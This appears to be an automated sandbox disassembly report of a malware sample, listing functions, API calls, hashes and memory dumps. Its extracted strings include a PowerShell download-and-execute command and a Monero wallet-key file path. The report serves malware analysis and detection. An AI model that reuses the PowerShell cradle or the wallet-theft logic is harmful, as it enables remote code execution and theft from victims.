Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 098959b303d95a7ab6232a9f2195db1a7395c0f3c90f1bab6b0cc724626959f1
Instruction ID: 086dcf600a4438d5961088dc0ba84f8e6dbe87e70f72a80bc896d672eec62152
Opcode Fuzzy Hash: 098959b303d95a7ab6232a9f2195db1a7395c0f3c90f1bab6b0cc724626959f1
Instruction Fuzzy Hash: 2541FC71E01249DADB14EFA0D990FDDBB74AF24310F404019E486AB198EF782A8ACF90

Function 01009E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 01009F41

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 01009E67
v20, xrefs: 01009E21
v10, xrefs: 01009EA3
@, xrefs: 01009EF1

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 9d73ef6f85992bd9003c7cfdf785a9855f7b30b5f4ba06dc3ca6beaa3410230c
Instruction ID: 78d17fdf5dbfab976ed2e2605e8f0fde607b1b77fc10dc52d4c4743e2fd1d050
Opcode Fuzzy Hash: 9d73ef6f85992bd9003c7cfdf785a9855f7b30b5f4ba06dc3ca6beaa3410230c
Instruction Fuzzy Hash: 26616E71A0024DEBEB25EFA4DC95FEE77B5AF54300F008118F98A5F184EB746A06CB90

Function 01019260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0186DEA0,?,?,?,0101140C,?,0186DEA0,00000000), ref: 0101926C
lstrcpyn.KERNEL32(0124AB88,0186DEA0,0186DEA0,?,0101140C,?,0186DEA0), ref: 01019290
lstrlen.KERNEL32(?,?,0101140C,?,0186DEA0), ref: 010192A7
wsprintfA.USER32 ref: 010192C7

Strings

%s%s, xrefs: 010192B5

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: d7df27f64175195e12e5790bbd8addb94df2812bf761519abcd737a1d099d5ca
Instruction ID: 114a30ccb830fd338e500fbb3e9be5a2f448927aa5ad3d16b256ae9768aac4cd
Opcode Fuzzy Hash: d7df27f64175195e12e5790bbd8addb94df2812bf761519abcd737a1d099d5ca
Instruction Fuzzy Hash: AF011E75540108FFDB18DFECD998EAE7BB9FB44354F10854CF94A8B208D635AA40CB90

Function 01016630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 01016663

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

ShellExecuteEx.SHELL32(0000003C), ref: 01016726
ExitProcess.KERNEL32 ref: 01016755

Strings

<, xrefs: 010166D9

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 34df825bfb7b471b9b2c289f414944cbebdd6e8e30c53aafe779d4d3720344d9
Instruction ID: 533f9c84a453a5469a52fb9b29b3cc1969e23c04b61e41c68b152cd6e67428a8
Opcode Fuzzy Hash: 34df825bfb7b471b9b2c289f414944cbebdd6e8e30c53aafe779d4d3720344d9
Instruction Fuzzy Hash: 4B312CB1D01218ABDB14EB90ED94FDEB778AF14310F404189E24A67184DF786B49CF65

Function 010187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E28,00000000,?), ref: 0101882F
RtlAllocateHeap.NTDLL(00000000), ref: 01018836
wsprintfA.USER32 ref: 01018850

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

%dx%d, xrefs: 01018847

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: c6915b84dbd423a0d644be7684df8df09c68336120c1b5c9d8b1217a583dac72
Instruction ID: 7ed068446d400a0f97304ade4ddcc892169d9e203f40c55f5dea7dd3cbb112b6
Opcode Fuzzy Hash: c6915b84dbd423a0d644be7684df8df09c68336120c1b5c9d8b1217a583dac72
Instruction Fuzzy Hash: F82124B5A80204EFEB14DFD4ED49FAEBBB8FB48711F104119F606A7284C7799901CBA0

Function 01018D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0101951E,00000000), ref: 01018D5B
RtlAllocateHeap.NTDLL(00000000), ref: 01018D62
wsprintfW.USER32 ref: 01018D78

Strings

%hs, xrefs: 01018D6F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ba28e135c9027fd2bf1760f7f4903fac401af9d19f3fdc1686e054dbc00014f9
Instruction ID: fe4e10204cc1e445f20e1dc32f0b467bc324b5676807ca8ee833b98f6ac35114
Opcode Fuzzy Hash: ba28e135c9027fd2bf1760f7f4903fac401af9d19f3fdc1686e054dbc00014f9
Instruction Fuzzy Hash: ADE0E675A80208BBD724DB94E90DE5D77B8EB44701F004155FD4A97244D9715E109B55

Function 0100D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,0186A2E8,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,01869010,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100D481
lstrlen.KERNEL32(00000000), ref: 0100D698
lstrlen.KERNEL32(00000000), ref: 0100D6AC
DeleteFileA.KERNEL32(00000000), ref: 0100D72B

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3d5343cccaf1eadd3aad19dec075877c7bf0e989c4bf7cfaed1b9ddff7e2d4aa
Instruction ID: 9e869d8588138d838c1cecb154a1d7d70a688549bbdf3be58e4ee17da878637a
Opcode Fuzzy Hash: 3d5343cccaf1eadd3aad19dec075877c7bf0e989c4bf7cfaed1b9ddff7e2d4aa
Instruction Fuzzy Hash: 16916172A11149DBDB15FBA0DD94EEE7338AF24210F504169E587B7098EF386A4ECB70

Function 01013560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: caec6491dd3c48ed64f17a7269a8e5f2712461393d30d35e15ef7497add8649a
Instruction ID: 510b6f82b2295cf48146a2adceccf74ea3eaca826cbb5ac6fe5dc77c8231a0ae
Opcode Fuzzy Hash: caec6491dd3c48ed64f17a7269a8e5f2712461393d30d35e15ef7497add8649a
Instruction Fuzzy Hash: 864131B5E10209DBDB04EFA5D844AEEB778FF58314F008418E4567B248DB79A605CFA1

Function 010194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 010194EB

Part of subcall function 01018D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0101951E,00000000), ref: 01018D5B
Part of subcall function 01018D50: RtlAllocateHeap.NTDLL(00000000), ref: 01018D62
Part of subcall function 01018D50: wsprintfW.USER32 ref: 01018D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 010195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 010195C9
CloseHandle.KERNEL32(00000000), ref: 010195D6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
